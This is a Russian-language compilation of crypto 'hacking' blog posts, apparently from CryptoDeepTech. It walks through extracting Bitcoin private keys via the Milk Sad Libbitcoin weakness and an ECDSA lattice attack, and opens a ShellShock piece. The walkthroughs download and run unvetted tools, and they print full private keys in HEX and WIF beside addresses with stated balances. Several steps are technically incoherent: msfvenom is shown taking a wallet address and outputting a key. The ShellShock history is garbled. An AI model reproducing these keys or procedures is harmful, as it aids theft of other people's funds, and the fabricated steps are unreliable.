ADDR: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F WIF: L1TWHkT6HcNVHCjsUpGecyZQqGJC5Ek98HunmRH4c3zb8V87NUiP HEX: 7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework Криптовалюта, Биткоины, NFT, Биржа, Финансы, Доллары, Видео, YouTube, Длиннопост, Telegram (ссылка), YouTube (ссылка)

https://btc1.trezor.io/address/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework Криптовалюта, Биткоины, NFT, Биржа, Финансы, Доллары, Видео, YouTube, Длиннопост, Telegram (ссылка), YouTube (ссылка)
Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework Криптовалюта, Биткоины, NFT, Биржа, Финансы, Доллары, Видео, YouTube, Длиннопост, Telegram (ссылка), YouTube (ссылка)

BALANCE: $ 11032.77

References:

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.

Исходный код

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/ZpflbzENAAw

Источник: https://cryptodeep.ru/bitcoin-lightning-wallet-vulnerability

Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework Криптовалюта, Биткоины, NFT, Биржа, Финансы, Доллары, Видео, YouTube, Длиннопост, Telegram (ссылка), YouTube (ссылка)

Криптоанализ

Показать полностью 23

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Исследователи компании “Slowmist” проводят регулярное исследование сферы безопасности блокчейна Биткоин. Они обнародовали уязвимость в библиотеке Libbitcoin Explorer 3.x, который позволила злоумышленникам украсть более $ 900 000 у пользователей Биткоин Кошельков (BTC)

По данным аналитиков, эта уязвимость может также затронуть пользователей Ethereum, Ripple, Dogecoin, Solana, Litecoin, Bitcoin Cash и Zcash, которые используют Libbitcoin для создания учетных записей.

Исследователи дали кодовое название для данной уязвимости «Milk Sad»

Было предложено использовать первые два слова первого мнемонического секрета BIP39, сгенерированного bx нулевым временем

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Длиннопост

https://milksad.info/disclosure.html#codename-milk-sad

Техническое описание CVE-2023-39910

Механизм заполнения энтропии криптовалютного кошелька, используемый в Libbitcoin Explorer 3.0.0–3.6.0, является слабым, также известным как проблема Milk Sad.
Использование PRNG Mersenne Twister mt19937 ограничивает внутреннюю энтропию 32 битами независимо от настроек.
Это позволяет удаленным злоумышленникам восстановить любые закрытые ключи кошелька, сгенерированные на основе энтропийных результатов «bxseed», и украсть средства.
(Затронутым пользователям необходимо перевести средства в новый безопасный кошелек с криптовалютой)

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Длиннопост

Cлабая энтропия в Cake Wallet

Cake Wallet
использовал незащищенную функцию Random() Dart для генерации начальных чисел кошелька :

Это может быть настоящей проблемой, учитывая, что функция Dart Random()
может вернуться к 0 или системному времени.

Средства каждого кошелька, созданного с помощью браузерного расширения Trust Wallet, могли быть украдены без какого-либо вмешательства пользователя.

Совсем недавно, Donjon группа исследований безопасности в Ledger обнаружил критическую уязвимость в этом расширении браузера Trust Wallet, позволяющую злоумышленнику украсть все активы любого кошелька, созданного с помощью этого расширения, без какого-либо взаимодействия с пользователем. Зная адрес учетной записи, можно немедленно вычислить ее закрытый ключ, а затем получить доступ ко всем ее средствам. Ниже приведены подробные сведения об уязвимости, о том, как Ledger Donjon обнаружил ее, ее влияние с течением времени, оценка уязвимых активов и то, как Trust Wallet отреагировал на ее исправление. Но начнем с напоминания основ.

Cложно продемонстрировать, что случайные числа верны, а плохой, но не смертельно ошибочный генератор случайных чисел может легко обмануть наблюдателя. Для хорошей случайности нам нужно равномерное распределение битов и байтов (и даже всех размеров кусков) и непредсказуемость. Для наблюдателя последовательности должно быть невозможно иметь какую-либо информацию о следующей части генерируемой последовательности.

Поскольку достичь этих свойств невероятно сложно, криптовалютное пространство старается максимально избегать зависимости от случайности, но на одном этапе она нам все равно понадобится: когда мы создаем новый кошелек.

Вы, вероятно, уже знакомы со своей мнемоникой — от 12 до 24 английских слов, которые позволяют вам создавать резервные копии вашего кошелька (если нет, вы можете прочитать статью Ledger Academy по этой самой теме).

Эта мнемоника кодирует от 16 до 32 байтов энтропии в соответствии со стандартом BIP 39. Качество этой энтропии имеет решающее значение, поскольку она будет исходным кодом всех ключей, используемых вашим кошельком во всех цепочках, после детерминированного процесса вывода, определенного стандарты BIP 32 и BIP 44 .

Уязвимая версия Trust Wallet
bx имеет один и тот же основной, фатальный недостаток: создание энтропии кошелька из неподходящего алгоритма MT19937 Mersenne Twister.
bx дополнительно использует некоторую информацию о часах для заполнения MT19937, но это не имеет большого значения для практических автономных атак методом перебора, проводимых удаленными злоумышленниками.
Это все то же ограниченное пространство ключей в 32 бита, которое злоумышленники могут полностью прочесать.
Насколько нам известно, Trust Wallet создает только кошельки на основе мнемоники BIP39 из 12 слов, что фиксирует требования к энтропии (и, следовательно, использование PRNG) на 128 бит.
bx more является гибким и генерирует 128-битные, 192-битные, 256-битные выходные данные (и другие).
Больше вариантов означает больше места для поиска, но совпадают ли кошельки, созданные
bx seed -b 128 с кошельками, созданными Trust Wallet?
Как оказалось, нет — из-за нюанса в использовании ГПСЧ.
Алгоритм MT19937 Mersenne Twister, используемый Trust Wallet,
bx тот же, но выходные данные используются немного по-другому.
При заполнении энтропийного массива данными PRNG Trust Wallet использует один выходной сигнал MT19937 размером 32 бита, берет младшие 8 бит этого вывода для заполнения массива и выбрасывает остальные 24 бита.

Полную развернутую документацию теоретической части можно изучить в блоге: Ledger Donjon , а также в документации: Milk Sad

Перейдем к практической части:

(Вы можете открыть готовый файл от Jupyter Notebook и загрузить в блокнот Google Colab )

https://colab.research.google.com/drive/1OhspSm7GBGiqv3WfhAqU5SJ_BgXIbUh3

https://github.com/demining/CryptoDeepTools/tree/main/25MilkSadVulnerability

Рассмотрим реальные примеры извлечение приватного ключа Биткоин Кошелька с помощью уязвимости в библиотеке Libbitcoin Explorer 3.x,

Первый Биткоин Кошелек: В сентябре 2023 года была кража на сумму: 40886.76 долларов США // БИТКОИН: 1.17536256 BTC

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Длиннопост

https://btc1.trezor.io/address/12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2

Vulnerability_in_Libbitcoin_Explorer_3_x_library.ipynb

Откроем сервис Google Colab по ссылке: https://colab.research.google.com

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Длиннопост

Нажимаем на "+" и “Создаем новый блокнот”

Установим Ruby в Google Colab

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Длиннопост

Для запуска необходимых нам программ установим объектно-ориентированный язык программирования Ruby

!sudo apt install ruby-full

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Длиннопост

Проверим версию установки

!ruby --version

Версия ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu]

Установим библиотеку 'bitcoin-ruby' для взаимодействия с протоколом/сетью Биткоин

!gem install bitcoin-ruby

Установим библиотеку 'ecdsa' для реализации алгоритма цифровой подписи на эллиптической кривой (ECDSA)

!gem install ecdsa

Установим библиотеку 'base58' для преобразования целых или двоичных чисел в base58 и обратно.

!gem install base58

Установим библиотеку 'crypto' чтобы упростить операции с байтами и основными криптографическими операциями

!gem install crypto

Установим библиотеку 'config-hash' чтобы упростить работу с большими данными.

!gem install config-hash -v 0.9.0

Установим Metasploit Framework и воспользуемся MSFVenom

Установим Metasploit Framework из GitHub и воспользуемся инструментом MSFVenom для создания полезной нагрузки.

!git clone https://github.com/rapid7/metasploit-framework.git

ls

cd metasploit-framework/

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Длиннопост

Посмотрим содержимое папки "metasploit-framework"

ls

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Длиннопост

Опции:

!./msfvenom -help

Откроем обнаруженную уязвимость CVE-2023-39910

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-3991...

В примечание мы видим ссылку на файл: pseudo_random.cpp

libbitcoin-system Bitcoin Cross-Platform C++ Development Toolkit

Установим libbitcoin-system в Google Colab:

!git clone https://github.com/libbitcoin/libbitcoin-system.git

ls

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Длиннопост

Откроем уязвимый файл: pseudo_random.cpp через утилиту cat

cat libbitcoin-system/src/crypto/pseudo_random.cpp

Откроем папки по каталогу: /modules/exploits/

ExploitDarlenePRO

Загрузим "ExploitDarlenePRO" по каталогу: /modules/exploits/

cd modules/

ls

cd exploits/

!wget https://darlene.pro/repository/e8e4973fb52934d5fb0006a47304f...

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Длиннопост

Разархивируем содержимое ExploitDarlenePRO.zip через утилиту unzip

!unzip ExploitDarlenePRO.zip

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Длиннопост

Перейдем по каталогу: /ExploitDarlenePRO/

ls

cd ExploitDarlenePRO/

ls

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Длиннопост

Для запуска эксплойта перейдем обратно к Metasploit Framework

cd /

cd content/metasploit-framework/

ls

Нам необходимо определить наш LHOST (Local Host) наш IP-address атакующей виртуальной машины.

Запустим команды:

!ip addr

!hostname -I

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Длиннопост

Воспользуемся инструментом для создания полезной нагрузки MSFVenom

Для эксплуатации выбираем Биткоин Кошелек: 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2

https://btc1.trezor.io/address/12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2

Команда запуска:

!./msfvenom 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p libbitcoin-system/src/crypto LHOST=172.28.0.12 -f CPP -o pseudo_random.cpp

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Длиннопост

Результат:

1100001100100111111110101100011000111101101101111110000011001100110100010111000001101100000000111110101101011011111000001101101100101010101100111110001101111010010001010001101110000100000001010100000100000000110110000101111100110001010011100000111110001011

Полученный бинарный формат нам необходимо сохранить в файл: binary.txt воспользуемся утилитой echo

Команда:

!echo '1100001100100111111110101100011000111101101101111110000011001100110100010111000001101100000000111110101101011011111000001101101100101010101100111110001101111010010001010001101110000100000001010100000100000000110110000101111100110001010011100000111110001011' > binary.txt

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Длиннопост

Конвертируем бинарный формат в HEX-формат для получение приватного ключа Биткоин Кошелька:

Воспользуемся кодом:

https://github.com/demining/CryptoDeepTools/blob/main/25Milk...

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Длиннопост

Откроем файл: hex.txt

cat hex.txt

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Длиннопост

C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B

Приватный Ключ Найден!

Установим модель Bitcoin

!pip3 install bitcoin

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Длиннопост

Запустим код для проверки соответствие Биткоин Адреса:

https://github.com/demining/CryptoDeepTools/blob/main/25Milk...

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Длиннопост

Откроем файл: privtoaddr.txt

cat privtoaddr.txt

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Длиннопост

Результат:

C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B:12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2

Все верно! Приватный ключ соответствует Биткоин Кошельку.

Откроем bitaddress и проверим:

ADDR: 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 WIF: L3m4xHPEnE2yM1JVAY2xTzraJsyPERxw2Htt3bszbTiDn5JiZCcy HEX: C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Длиннопост

https://btc1.trezor.io/address/12iBrqVPpQ2oNeDgJu1F8RtoH1TsD...

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Длиннопост

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Длиннопост

BALANCE: $ 40886.76

-----------------------------------------------

References:

-----------------------------------------------

Исходный код

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/YMdb7_iboaA

Источник: https://cryptodeep.ru/milk-sad-vulnerability-in-libbitcoin-explorer

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC) Криптовалюта, Биткоины, Валюта, Доллары, Видео, YouTube, Длиннопост

Milk Sad уязвимость в библиотеке Libbitcoin Explorer 3.x, как была осуществлена кража на $ 900 000 у пользователей Биткоин Кошельков (BTC)

Показать полностью 24
0

LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA

В наших самых ранних работах мы опубликовали статью на тему “LATTICE ATTACK” как полноценное решение HNP [Hidden Number Problem], но с недавним появлением новой атаки “POLYNONCE ATTACK”, мы решили дополнить статью с использованием 79 signatures ECDSA.

Исходя из прошлой статьи, где за полиному мы брали 128 bits и с фактическим увеличение количество подписей мы приблизим значение полиномы до 249 bits.

Все что нам нужно это решить проблему скрытых чисел.

LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA Криптовалюта, Биткоины, Хакеры, Взлом, Linux, Информационная безопасность, Python, IT, Валюта, Чат-бот, Интернет, Программирование, Программист, Видео, YouTube, Длиннопост

В этой статье мы разберем пять независимых примеров криптоанализа блокчейна Биткоин. Все примеры будут загружены в репозитории GitHub.

За теоретическую основу мы будем брать материалы:

“Lattice Attack on Bitcoin”

LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA Криптовалюта, Биткоины, Хакеры, Взлом, Linux, Информационная безопасность, Python, IT, Валюта, Чат-бот, Интернет, Программирование, Программист, Видео, YouTube, Длиннопост

https://attacksafe.ru/lattice-attack-on-bitcoin

Рассмотрим пример с Биткоин Адресом:

19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z

LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA Криптовалюта, Биткоины, Хакеры, Взлом, Linux, Информационная безопасность, Python, IT, Валюта, Чат-бот, Интернет, Программирование, Программист, Видео, YouTube, Длиннопост

6a941396b28a72ac834d922165995e6685a760f884dbb9e8b6dea95b01f0aae8

LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA Криптовалюта, Биткоины, Хакеры, Взлом, Linux, Информационная безопасность, Python, IT, Валюта, Чат-бот, Интернет, Программирование, Программист, Видео, YouTube, Длиннопост

RawTX

LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA Криптовалюта, Биткоины, Хакеры, Взлом, Linux, Информационная безопасность, Python, IT, Валюта, Чат-бот, Интернет, Программирование, Программист, Видео, YouTube, Длиннопост

"hex": 010000000afa0765dc83c2e04b53a03ad9f5e7603f974c5a70e7a486bc957e72809facab7b2d0000006a4730440220746bd0443317a77c069bddae306dc658ec740bb1a6312bdcb4ce666bae42e988022066c34dd48f0e34ae4aefd28564f46fb7473d0b49d55adb716b9f04e663d0a9890121033ee89b98b1d6e71285314e1d1c753003a7a80c17f46146a91077006c76e25e7affffffff................................

Перейдем на официальный сайт: https://colab.research.google.com

Выберем опцию “Upload notebook”

Загрузим файл: LATTICE_ATTACK_249bits.ipynb

Скачаем HEX-данные через утилиту wget и сохраним в файл: RawTX.txt

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/m...

LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA Криптовалюта, Биткоины, Хакеры, Взлом, Linux, Информационная безопасность, Python, IT, Валюта, Чат-бот, Интернет, Программирование, Программист, Видео, YouTube, Длиннопост

Запустим код и получим нужные нам биты RawTX

LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA Криптовалюта, Биткоины, Хакеры, Взлом, Linux, Информационная безопасность, Python, IT, Валюта, Чат-бот, Интернет, Программирование, Программист, Видео, YouTube, Длиннопост

Чтобы реализовать атаку мы воспользуемся программным обеспечение

“ATTACKSAFE SOFTWARE”

LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA Криптовалюта, Биткоины, Хакеры, Взлом, Linux, Информационная безопасность, Python, IT, Валюта, Чат-бот, Интернет, Программирование, Программист, Видео, YouTube, Длиннопост

www.attacksafe.ru/software

Права доступа:

!chmod +x attacksafe

ls

Применение:

!./attacksafe -help

!./attacksafe -version

LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA Криптовалюта, Биткоины, Хакеры, Взлом, Linux, Информационная безопасность, Python, IT, Валюта, Чат-бот, Интернет, Программирование, Программист, Видео, YouTube, Длиннопост

Version 5.3.4. [ATTACKSAFE SOFTWARE, © 2023]

"ATTACKSAFE SOFTWARE" включает в себя все популярные атаки на Биткоин.

Запустим список всех атак:

!./attacksafe -list

LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA Криптовалюта, Биткоины, Хакеры, Взлом, Linux, Информационная безопасность, Python, IT, Валюта, Чат-бот, Интернет, Программирование, Программист, Видео, YouTube, Длиннопост

Выберем -tool: lattice_attack

Чтобы получить определенные HEX значение R,S,Z к подписи ECDSA, мы ранее добавили данные RawTX через утилиту echo в текстовый документ и сохранили как файл RawTX.txt

Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”

!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv

Мы запустили данную атаку из -tool lattice_attack и результат сохранился в файл SignatureRSZ.csv

Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv

LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA Криптовалюта, Биткоины, Хакеры, Взлом, Linux, Информационная безопасность, Python, IT, Валюта, Чат-бот, Интернет, Программирование, Программист, Видео, YouTube, Длиннопост

Для того чтобы рассчитать приватный ключ к Биткоин Кошельку из файла SignatureRSZ.csv мы установим SageMath

LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA Криптовалюта, Биткоины, Хакеры, Взлом, Linux, Информационная безопасность, Python, IT, Валюта, Чат-бот, Интернет, Программирование, Программист, Видео, YouTube, Длиннопост
LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA Криптовалюта, Биткоины, Хакеры, Взлом, Linux, Информационная безопасность, Python, IT, Валюта, Чат-бот, Интернет, Программирование, Программист, Видео, YouTube, Длиннопост

Ранее мы опубликовали статью, скачаем tar-file: sage-9.3-Ubuntu_20.04-x86_64.tar.bz2

!wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.b... !tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2

LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA Криптовалюта, Биткоины, Хакеры, Взлом, Linux, Информационная безопасность, Python, IT, Валюта, Чат-бот, Интернет, Программирование, Программист, Видео, YouTube, Длиннопост

Перейдем по каталогу:

cd SageMath/

ls

Запустим Python-script: relocate-once.py по команде:

!python3 relocate-once.py

Переместим "AttackSafe" и "SignatureRSZ.csv" в папку "SageMath"

!mv '/content/attacksafe' '/content/SageMath/attacksafe' !mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv'

LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA Криптовалюта, Биткоины, Хакеры, Взлом, Linux, Информационная безопасность, Python, IT, Валюта, Чат-бот, Интернет, Программирование, Программист, Видео, YouTube, Длиннопост

ls

Скачаем скрипт crack_weak_ECDSA_nonces_with_LLL.py от Dario Clavijo через утилиту wget

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/m...

LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA Криптовалюта, Биткоины, Хакеры, Взлом, Linux, Информационная безопасность, Python, IT, Валюта, Чат-бот, Интернет, Программирование, Программист, Видео, YouTube, Длиннопост

Теперь запустим SageMath по команде:

!./sage -sh

Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры 249 bits 79 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt

cat PrivateKey.txt

LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA Криптовалюта, Биткоины, Хакеры, Взлом, Linux, Информационная безопасность, Python, IT, Валюта, Чат-бот, Интернет, Программирование, Программист, Видео, YouTube, Длиннопост

Откроем файл: PrivateKey.txt

Мы получили приватный ключ к Биткоин Кошельку в HEX формате

PrivKey = 0x9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941

Результат:

LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA Криптовалюта, Биткоины, Хакеры, Взлом, Linux, Информационная безопасность, Python, IT, Валюта, Чат-бот, Интернет, Программирование, Программист, Видео, YouTube, Длиннопост

Мы получили 79 одинаковых первоначальных bits от 249

Благодаря значение на кривой secp256k1 от Hal Finney  LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек.

Проверим HEX приватного ключа:

Установим модуль bitcoin

!pip3 install bitcoin

PrivKey = 0x9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941


Проверим POLYNONCE для каждой подписи ECDSA

Для этого воспользуемся кодом из GITHUB

LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA Криптовалюта, Биткоины, Хакеры, Взлом, Linux, Информационная безопасность, Python, IT, Валюта, Чат-бот, Интернет, Программирование, Программист, Видео, YouTube, Длиннопост

https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example1/POLYNONCE.py

Откроем файл: PrivateKeyAddr.txt

LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA Криптовалюта, Биткоины, Хакеры, Взлом, Linux, Информационная безопасность, Python, IT, Валюта, Чат-бот, Интернет, Программирование, Программист, Видео, YouTube, Длиннопост

9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941:19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z

Откроем bitaddress и проверим:

ADDR: 19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z WIF: L2PhDrYZw6fWqeLZMnMeAXvxZ47MEnepaQVLL2EazbRhqesytoQB HEX: 9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941

LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA Криптовалюта, Биткоины, Хакеры, Взлом, Linux, Информационная безопасность, Python, IT, Валюта, Чат-бот, Интернет, Программирование, Программист, Видео, YouTube, Длиннопост

https://blockchair.com/bitcoin/address/19mJofzRwwwx4VmXuAXgX...

LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA Криптовалюта, Биткоины, Хакеры, Взлом, Linux, Информационная безопасность, Python, IT, Валюта, Чат-бот, Интернет, Программирование, Программист, Видео, YouTube, Длиннопост
LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA Криптовалюта, Биткоины, Хакеры, Взлом, Linux, Информационная безопасность, Python, IT, Валюта, Чат-бот, Интернет, Программирование, Программист, Видео, YouTube, Длиннопост

BALANCE: $ 1015.58

Literature:

Исходный код

ATTACKSAFE SOFTWARE

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/CzaHitewN-4

Источник: https://cryptodeep.ru/lattice-attack-249bits

LATTICE ATTACK 249bits решаем проблему скрытых чисел с использованием 79 signatures ECDSA Криптовалюта, Биткоины, Хакеры, Взлом, Linux, Информационная безопасность, Python, IT, Валюта, Чат-бот, Интернет, Программирование, Программист, Видео, YouTube, Длиннопост
Показать полностью 24

ShellShock Attack уязвимости на сервере “Bitcoin” & “Ethereum” обнаруженный в GNU Bash криптовалютной биржи

В этой статье мы рассмотрим серию программных уязвимостей на веб-сервера, обнаруженных в программе GNU Bash . Множество интернет-сервисов, в том числе веб-сервера блокчейна Биткоин, используют Bash для обработки некоторых запросов, например при исполнении CGIскриптов. Уязвимость позволяет атакующему исполнять произвольные команды, получив неправомерный доступ к компьютерным системам, что позволяет злоумышленнику извлекать приватные ключи и скрытые данные сервера.

Shellshock — это не что иное, как уязвимость удаленного выполнения кода в bash. Это связано с тем, что bash неправильно выполняет завершающие команды при импорте определения функции, хранящегося в переменной среды.

ShellShock Attack уязвимости на сервере “Bitcoin” & “Ethereum” обнаруженный в GNU Bash криптовалютной биржи Криптовалюта, Биткоины, NFT, Видео, YouTube, Длиннопост

GitHub

BugShellshock влияет на Bash. Bash — это программа, которую различные системы на базе Unix используют для выполнения командных строк и командных сценариев. Баг была обнаружена 5 августа 1989 года и выпущена в версии Bash 1.03 1 сентября 1989 года. Shellshock — это уязвимость повышения привилегий, которая дает пользователям системы возможность выполнять команды, которые должны быть для них недоступны.

Уязвимости заключаются в том, что Bash вопреки задекларированным возможностям производит исполнение команд при получении некоторых нестандартных значений переменных окружения (environment). За несколько дней после публикации оригинальной уязвимости было обнаружено несколько сходных ошибок, что не позволило оперативно издать версию с исправлениями.

Stéphane Chazelas

ShellShock Attack уязвимости на сервере “Bitcoin” & “Ethereum” обнаруженный в GNU Bash криптовалютной биржи Криптовалюта, Биткоины, NFT, Видео, YouTube, Длиннопост

